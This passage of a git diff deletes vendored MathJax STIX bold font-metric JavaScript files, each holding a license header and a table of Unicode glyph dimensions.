0,-314,-187],831:[938,-788,0,-500,0],838:[717,-544,0,-410,-107],844:[837,-547,0,-446,-81],857:[-66,368,0,-359,-89],860:[-79,242,0,-401,300],864:[674,-529,0,-432,398],865:[691,-534,0,-403,265],866:[-54,293,0,-432,377]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiactForSymbols.js
deleted file mode 100644
index ea3684d0..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/ControlPictures.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/ControlPictures.js
deleted file mode 100644
index 02953b99..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/ControlPictures.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/ControlPictures.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9251:[31,120,500,40,460]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/ControlPictures.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CurrencySymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CurrencySymbols.js
deleted file mode 100644
index 49e36015..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CurrencySymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CurrencySymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8355:[676,0,611,11,583],8356:[684,16,500,21,477],8359:[676,14,1369,16,1341],8364:[672,12,500,29,478]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/CurrencySymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Cyrillic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Cyrillic.js
deleted file mode 100644
index 3cafff39..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Cyrillic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Cyrillic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{1025:[916,0,667,16,641],1026:[676,97,856,40,809],1027:[963,0,632,20,600],1028:[691,19,685,37,638],1029:[692,19,556,35,513],1030:[676,0,389,20,370],1031:[916,0,389,20,370],1032:[676,96,500,3,478],1033:[676,18,1005,10,958],1034:[676,0,1054,21,1007],1035:[676,0,883,40,868],1036:[923,0,759,21,741],1038:[926,22,722,15,699],1039:[676,176,770,21,753],1040:[690,0,722,9,689],1041:[676,0,667,16,619],1042:[676,0,667,16,619],1043:[676,0,632,20,600],1044:[676,176,715,24,691],1045:[676,0,667,16,641],1046:[684,0,1130,32,1091],1047:[691,19,570,22,531],1048:[676,0,778,21,759],1049:[926,0,778,21,759],1050:[684,0,759,21,741],1051:[676,18,738,10,719],1052:[676,0,944,14,921],1053:[676,0,778,21,759],1054:[691,19,778,35,743],1055:[676,0,762,13,751],1056:[676,0,611,16,600],1057:[691,19,709,36,674],1058:[676,0,667,31,636],1059:[676,22,722,15,699],1060:[676,0,850,25,825],1061:[676,0,722,16,699],1062:[676,176,770,21,753],1063:[676,0,732,7,710],1064:[676,0,1020,21,1001],1065:[676,176,1020,21,1001],1066:[676,0,805,41,757],1067:[676,0,1004,16,985],1068:[676,0,672,19,624],1069:[691,19,685,37,648],1070:[691,19,955,21,920],1071:[676,0,736,12,687],1072:[473,14,517,42,505],1073:[691,14,500,25,476],1074:[461,0,492,21,475],1075:[461,0,451,21,434],1076:[461,143,541,19,524],1077:[473,14,444,25,427],1078:[467,0,762,14,748],1079:[473,17,446,25,420],1080:[461,0,556,21,543],1081:[691,0,556,21,543],1082:[467,0,556,22,543],1083:[461,11,546,11,529],1084:[461,0,657,20,640],1085:[461,0,560,21,543],1086:[473,14,500,25,476],1087:[461,0,556,21,543],1088:[473,205,556,19,524],1089:[473,14,444,25,430],1090:[461,0,509,18,493],1091:[461,205,520,16,502],1092:[676,205,726,31,693],1093:[461,0,500,12,484],1094:[461,143,556,21,543],1095:[461,0,559,20,542],1096:[461,0,841,21,824],1097:[461,143,841,21,824],1098:[461,0,607,15,592],1099:[461,0,759,22,741],1100:[461,0,498,21,483],1101:[473,14,453,24,429],1102:[473,14,785,21,761],1103:[461,0,526,11,509],1105:[666,14,444,25,427],1106:[676,205,556,15,485],1107:[713,0,451,21,434],1108:[473,14,453,24,429],1109:[473,14,389,25,361],1110:[691,0,278,15,256],1111:[666,0,278,-30,309],1112:[691,203,333,-57,263],1113:[461,11,760,11,745],1114:[461,0,775,21,760],1115:[676,0,556,15,534],1116:[713,0,556,22,543],1118:[691,205,500,16,502],1119:[461,143,556,21,543],1122:[676,0,793,31,745],1123:[676,0,602,15,587],1130:[676,0,1123,30,1088],1131:[461,0,762,14,748],1138:[691,19,778,35,743],1139:[473,14,500,25,476],1140:[691,18,793,16,778],1141:[470,14,559,21,550],1168:[833,0,626,14,594],1169:[602,0,451,21,434]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/Cyrillic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/EnclosedAlphanum.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/EnclosedAlphanum.js
deleted file mode 100644
index d7aaa350..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9312:[690,19,695,0,695],9313:[690,19,695,0,695],9314:[690,19,695,0,695],9315:[690,19,695,0,695],9316:[690,19,695,0,695],9317:[690,19,695,0,695],9318:[690,19,695,0,695],9319:[690,19,695,0,695],9320:[690,19,695,0,695],9398:[690,19,695,0,695],9399:[690,19,695,0,695],9400:[690,19,695,0,695],9401:[690,19,695,0,695],9402:[690,19,695,0,695],9403:[690,19,695,0,695],9404:[690,19,695,0,695],9405:[690,19,695,0,695],9406:[690,19,695,0,695],9407:[690,19,695,0,695],9408:[690,19,695,0,695],9409:[690,19,695,0,695],9410:[690,19,695,0,695],9411:[690,19,695,0,695],9412:[690,19,695,0,695],9413:[690,19,695,0,695],9414:[690,19,695,0,695],9415:[690,19,695,0,695],9416:[690,19,695,0,695],9417:[690,19,695,0,695],9418:[690,19,695,0,695],9419:[690,19,695,0,695],9420:[690,19,695,0,695],9421:[690,19,695,0,695],9422:[690,19,695,0,695],9423:[690,19,695,0,695],9424:[690,19,695,0,695],9425:[690,19,695,0,695],9426:[690,19,695,0,695],9427:[690,19,695,0,695],9428:[690,19,695,0,695],9429:[690,19,695,0,695],9430:[690,19,695,0,695],9431:[690,19,695,0,695],9432:[690,19,695,0,695],9433:[690,19,695,0,695],9434:[690,19,695,0,695],9435:[690,19,695,0,695],9436:[690,19,695,0,695],9437:[690,19,695,0,695],9438:[690,19,695,0,695],9439:[690,19,695,0,695],9440:[690,19,695,0,695],9441:[690,19,695,0,695],9442:[690,19,695,0,695],9443:[690,19,695,0,695],9444:[690,19,695,0,695],9445:[690,19,695,0,695],9446:[690,19,695,0,695],9447:[690,19,695,0,695],9448:[690,19,695,0,695],9449:[690,19,695,0,695],9450:[690,19,695,0,695]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/EnclosedAlphanum.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeneralPunctuation.js
deleted file mode 100644
index 1747ad34..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8208:[287,-171,333,44,287],8209:[287,-171,333,44,287],8210:[287,-171,500,0,500],8211:[271,-181,500,0,500],8212:[271,-181,1000,0,1000],8213:[271,-181,2000,0,2000],8215:[-137,287,520,10,510],8216:[691,-356,333,70,254],8217:[691,-356,333,79,263],8218:[155,180,333,79,263],8219:[691,-356,333,79,263],8220:[691,-356,500,32,486],8221:[691,-356,500,14,468],8222:[155,180,500,14,468],8223:[691,-356,500,14,468],8224:[691,134,500,47,453],8225:[691,132,500,45,456],8226:[462,-42,560,70,490],8229:[156,13,666,82,584],8230:[156,13,1000,82,917],8240:[706,29,1110,61,1049],8241:[706,29,1472,61,1411],8242:[713,-438,310,75,235],8243:[713,-438,467,75,392],8244:[713,-438,625,75,550],8245:[713,-438,310,75,235],8246:[713,-438,467,75,392],8247:[713,-438,625,75,550],8248:[117,170,584,91,497],8249:[415,-36,333,51,305],8250:[415,-36,333,28,282],8252:[691,13,625,81,544],8254:[838,-766,500,0,500],8256:[725,-508,798,79,733],8260:[688,12,183,-168,345],8263:[689,13,947,57,892],8270:[236,200,500,56,448],8271:[472,180,333,67,251],8273:[706,200,500,56,448],8279:[713,-438,783,75,708]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeometricShapes.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeometricShapes.js
deleted file mode 100644
index 49f53fdc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9651:[811,127,1145,35,1110],9655:[791,284,1043,70,1008],9661:[811,127,1145,35,1110],9665:[791,284,1043,35,973],9674:[795,289,790,45,745],9708:[811,127,1145,35,1110]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/GeometricShapes.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekAndCoptic.js
deleted file mode 100644
index 1ae497f1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{894:[472,180,333,82,266],900:[692,-528,300,118,263],901:[692,-528,390,-2,392],902:[700,0,722,9,689],903:[472,-303,333,82,251],904:[700,0,800,10,791],905:[700,0,920,10,904],906:[700,0,530,10,516],908:[700,19,778,10,743],910:[700,0,860,10,846],911:[700,0,780,10,761],912:[692,14,390,-2,392],913:[690,0,722,9,689],914:[676,0,667,16,619],917:[676,0,667,16,641],918:[676,0,667,28,634],919:[676,0,778,21,759],921:[676,0,389,20,370],922:[676,0,778,30,769],924:[676,0,944,14,921],925:[676,18,722,16,701],927:[691,19,778,35,743],929:[676,0,611,16,600],932:[676,0,667,31,636],935:[676,0,722,16,699],938:[915,0,389,20,370],939:[915,0,703,7,693],940:[692,14,644,25,618],941:[692,14,444,28,429],942:[692,205,585,12,545],943:[692,14,326,15,304],944:[692,14,576,12,551],945:[473,14,644,25,618],946:[692,205,556,45,524],947:[473,205,518,12,501],948:[692,14,502,26,477],949:[473,14,444,28,429],950:[692,205,459,23,437],951:[473,205,585,12,545],952:[692,14,501,25,476],953:[461,14,326,15,304],954:[473,0,581,21,559],955:[692,18,547,19,527],956:[461,205,610,45,588],957:[473,14,518,15,495],958:[692,205,468,23,439],959:[473,14,500,25,476],960:[461,18,631,20,609],961:[473,205,547,45,515],962:[473,203,464,23,444],963:[461,14,568,25,529],964:[461,14,492,18,457],965:[473,14,576,12,551],966:[473,205,653,24,629],967:[473,205,612,21,586],968:[473,205,763,12,751],969:[473,14,733,26,708],970:[666,14,335,-2,337],971:[666,14,576,12,551],972:[692,14,500,25,476],973:[692,14,576,12,551],974:[692,14,733,26,708],976:[697,10,500,54,462],977:[692,14,647,12,620],978:[692,0,743,7,733],981:[676,205,653,24,629],982:[461,14,864,9,851],984:[691,205,778,35,743],985:[473,205,500,25,476],986:[691,211,680,45,645],987:[503,203,504,23,483],988:[676,0,620,16,593],989:[461,205,491,45,458],990:[797,14,757,35,715],991:[692,0,485,29,453],992:[692,205,839,33,801],993:[639,205,611,29,583],1008:[473,19,563,12,546],1009:[473,205,511,25,486],1012:[691,19,778,35,743],1013:[473,14,444,25,430],1014:[473,14,444,14,419]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekBold.js
deleted file mode 100644
index d6817079..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{120488:[690,0,735,9,689],120489:[676,0,667,16,619],120490:[676,0,620,16,593],120491:[690,0,691,16,656],120492:[676,0,679,16,641],120493:[676,0,693,28,634],120494:[676,0,810,21,759],120495:[692,18,778,35,743],120496:[676,0,421,20,370],120497:[676,0,820,30,769],120498:[690,0,707,9,674],120499:[676,0,972,14,921],120500:[676,18,722,16,701],120501:[676,0,623,28,595],120502:[691,19,778,35,743],120503:[676,0,780,21,759],120504:[676,0,611,16,600],120505:[692,18,778,35,743],120506:[676,0,665,14,627],120507:[676,0,667,31,636],120508:[692,0,722,3,699],120509:[676,0,836,18,818],120510:[676,0,747,16,699],120511:[692,0,800,3,785],120512:[692,0,778,35,723],120513:[676,14,691,16,656],120514:[473,14,644,25,618],120515:[692,205,556,45,524],120516:[473,205,518,12,501],120517:[692,14,502,26,477],120518:[473,14,444,28,429],120519:[692,205,459,23,437],120520:[473,205,580,12,545],120521:[692,14,501,25,476],120522:[461,14,326,15,304],120523:[473,0,581,21,559],120524:[692,18,546,19,527],120525:[461,205,610,45,588],120526:[473,14,518,15,495],120527:[692,205,465,23,439],120528:[473,14,500,25,476],120529:[461,18,631,20,609],120530:[473,205,547,45,515],120531:[473,203,464,23,444],120532:[461,14,568,25,529],120533:[461,14,492,18,457],120534:[473,14,576,12,551],120535:[473,205,653,24,629],120536:[473,205,612,21,586],120537:[473,205,763,12,751],120538:[473,14,734,26,708],120539:[707,14,515,25,491],120540:[473,14,444,25,430],120541:[692,14,647,12,620],120542:[473,19,563,12,546],120543:[676,205,653,24,629],120544:[473,205,511,25,486],120545:[461,14,864,9,851]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/GreekBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekSSBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekSSBold.js
deleted file mode 100644
index b9d08cfd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekSSBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/GreekSSBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{120662:[690,0,690,25,665],120663:[676,0,636,80,594],120664:[676,0,591,80,569],120665:[690,0,720,40,680],120666:[676,0,635,80,597],120667:[676,0,653,25,623],120668:[676,0,715,80,635],120669:[691,19,778,35,743],120670:[676,0,440,65,375],120671:[676,0,712,80,707],120672:[690,0,706,40,666],120673:[676,0,913,80,833],120674:[676,18,724,80,644],120675:[676,0,640,35,605],120676:[692,18,778,35,743],120677:[676,0,715,80,635],120678:[676,0,581,80,569],120679:[691,19,778,35,743],120680:[676,0,674,28,632],120681:[676,0,641,14,627],120682:[691,0,748,20,728],120683:[676,0,800,25,775],120684:[676,0,740,40,700],120685:[691,0,806,15,791],120686:[691,0,752,32,720],120687:[664,30,735,45,685],120688:[473,14,662,40,629],120689:[692,205,512,39,487],120690:[473,205,502,10,477],120691:[692,14,502,25,477],120692:[473,14,451,25,434],120693:[692,205,500,28,488],120694:[473,205,510,35,474],120695:[692,14,500,23,477],120696:[461,14,319,53,296],120697:[473,0,527,55,512],120698:[692,14,554,18,520],120699:[461,205,550,39,517],120700:[473,14,492,55,472],120701:[692,205,501,28,489],120702:[473,14,501,25,476],120703:[461,14,594,10,572],120704:[473,205,511,38,486],120705:[473,205,498,26,486],120706:[461,14,520,25,552],120707:[461,14,479,6,472],120708:[473,14,514,35,489],120709:[473,205,634,25,609],120710:[473,205,573,9,553],120711:[473,205,680,25,699],120712:[461,14,740,42,689],120713:[691,14,501,25,476],120714:[473,14,462,25,440],120715:[692,14,536,35,522],120716:[473,14,570,14,554],120717:[692,205,634,25,609],120718:[473,205,494,25,469],120719:[461,14,848,6,839]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/GreekSSBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/IPAExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/IPAExtensions.js
deleted file mode 100644
index 77f751cb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/IPAExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/IPAExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{592:[473,14,512,13,476],593:[473,14,608,32,594],594:[473,14,608,32,594],595:[691,14,560,74,523],596:[473,14,472,15,420],597:[473,161,477,30,445],598:[676,233,602,32,660],599:[683,14,650,32,660],600:[473,14,457,25,427],601:[473,14,457,19,421],602:[473,14,688,41,677],603:[475,14,493,25,439],604:[475,14,493,25,439],605:[475,14,683,25,658],606:[475,14,523,25,469],607:[461,203,338,-54,314],608:[683,245,627,37,662],609:[473,245,571,37,484],610:[461,11,590,35,555],611:[461,233,532,24,507],612:[450,10,514,17,497],613:[450,226,550,17,536],614:[683,0,550,14,532],615:[683,205,556,16,485],616:[691,0,292,21,262],617:[456,8,366,22,339],618:[461,0,297,26,264],619:[676,0,395,15,380],620:[676,0,446,17,428],621:[676,233,326,15,384],622:[676,236,619,24,603],623:[473,0,828,16,815],624:[473,233,859,16,836],625:[473,233,847,21,770],626:[473,233,625,-57,586],627:[473,233,610,21,668],628:[461,12,604,34,558],629:[473,14,520,34,485],630:[461,5,741,28,713],631:[477,2,696,42,653],632:[685,231,713,45,667],633:[463,10,456,35,441],634:[676,10,456,35,441],635:[463,233,506,35,564],636:[473,233,426,10,416],637:[473,233,454,12,418],638:[484,0,359,15,386],639:[484,0,404,10,381],640:[464,0,516,21,495],641:[464,0,516,21,495],642:[473,218,389,25,361],643:[683,233,458,-36,406],644:[683,233,373,-57,430],645:[470,233,396,8,452],646:[683,243,399,-16,449],647:[513,129,333,19,332],648:[630,233,339,19,389],649:[461,14,556,9,538],650:[452,8,500,13,487],651:[465,10,534,23,511],652:[475,0,500,21,485],653:[475,0,722,23,707],654:[666,0,500,16,482],655:[464,0,633,46,587],656:[461,218,531,21,577],657:[461,150,538,21,517],658:[450,236,440,8,430],659:[450,307,440,8,430],660:[683,0,417,55,426],661:[683,0,417,55,426],662:[669,14,417,55,426],663:[473,232,479,72,447],664:[680,17,723,13,708],665:[464,0,456,15,441],666:[475,14,465,11,455],667:[537,11,600,29,595],668:[464,0,582,21,561],669:[691,233,394,-60,414],670:[461,215,556,22,543],671:[464,0,470,17,440],672:[582,205,636,34,659],673:[683,0,500,55,426],674:[683,0,500,55,426],675:[676,14,868,25,843],676:[676,236,810,25,794],677:[676,164,960,25,933],678:[630,12,626,19,598],679:[683,233,540,19,626],680:[630,12,700,19,690]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/IPAExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Latin1Supplement.js
deleted file mode 100644
index a8b8fb68..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{160:[0,0,250,0,0],161:[501,203,333,82,252],162:[588,140,500,53,458],163:[684,16,500,21,477],164:[542,10,500,-26,526],165:[676,0,500,-64,547],166:[691,19,220,66,154],167:[691,132,500,57,443],168:[666,-537,333,-2,337],169:[691,19,747,26,721],170:[688,-397,300,-1,301],171:[415,-36,500,23,473],172:[399,-108,750,65,685],173:[287,-171,333,44,287],174:[691,19,747,26,721],175:[637,-565,333,1,331],176:[688,-402,400,57,343],177:[518,151,770,65,685],178:[688,-275,300,0,300],179:[688,-268,300,3,297],180:[713,-528,333,86,324],181:[461,206,556,33,536],182:[676,186,639,60,579],183:[417,-248,250,41,210],184:[0,218,333,68,294],185:[688,-275,300,28,273],186:[688,-397,330,18,312],187:[415,-36,500,27,477],188:[688,12,750,28,743],189:[688,12,750,-7,775],190:[688,12,750,23,733],191:[501,201,500,55,443],192:[963,0,722,9,689],193:[963,0,722,9,689],194:[954,0,722,9,689],195:[924,0,722,9,689],196:[916,0,722,9,689],197:[1000,0,722,9,689],198:[676,0,1000,4,951],199:[691,218,722,49,687],200:[963,0,667,16,641],201:[963,0,667,16,641],202:[954,0,667,16,641],203:[916,0,667,16,641],204:[963,0,389,20,370],205:[963,0,389,20,370],206:[954,0,389,20,370],207:[916,0,389,20,370],208:[676,0,722,6,690],209:[924,18,722,16,701],210:[963,19,778,35,743],211:[963,19,778,35,743],212:[954,19,778,35,743],213:[924,19,778,35,743],214:[916,19,778,35,743],215:[538,33,702,66,636],216:[737,74,778,35,743],217:[963,19,722,16,701],218:[963,19,722,16,701],219:[954,19,722,16,701],220:[916,19,722,16,701],221:[963,0,722,15,699],222:[676,0,611,16,600],223:[691,12,556,19,517],224:[713,14,500,25,488],225:[713,14,500,25,488],226:[704,14,500,25,488],227:[674,14,500,25,488],228:[666,14,500,25,488],229:[752,14,500,25,488],230:[473,14,722,33,694],231:[473,218,444,25,430],232:[713,14,444,25,427],233:[713,14,444,25,427],234:[704,14,444,25,427],235:[666,14,444,25,427],236:[713,0,278,14,257],237:[713,0,278,15,258],238:[704,0,278,-29,308],239:[666,0,278,-29,310],240:[691,14,500,25,476],241:[674,0,556,21,539],242:[713,14,500,25,476],243:[713,14,500,25,476],244:[704,14,500,25,476],245:[674,14,500,25,476],246:[666,14,500,25,476],247:[537,31,570,33,537],248:[549,92,500,25,476],249:[713,14,556,16,538],250:[713,14,556,16,538],251:[704,14,556,16,538],252:[666,14,556,16,538],253:[713,205,500,16,482],254:[676,205,556,19,524],255:[666,205,500,16,482]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedA.js
deleted file mode 100644
index 3e982b7a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
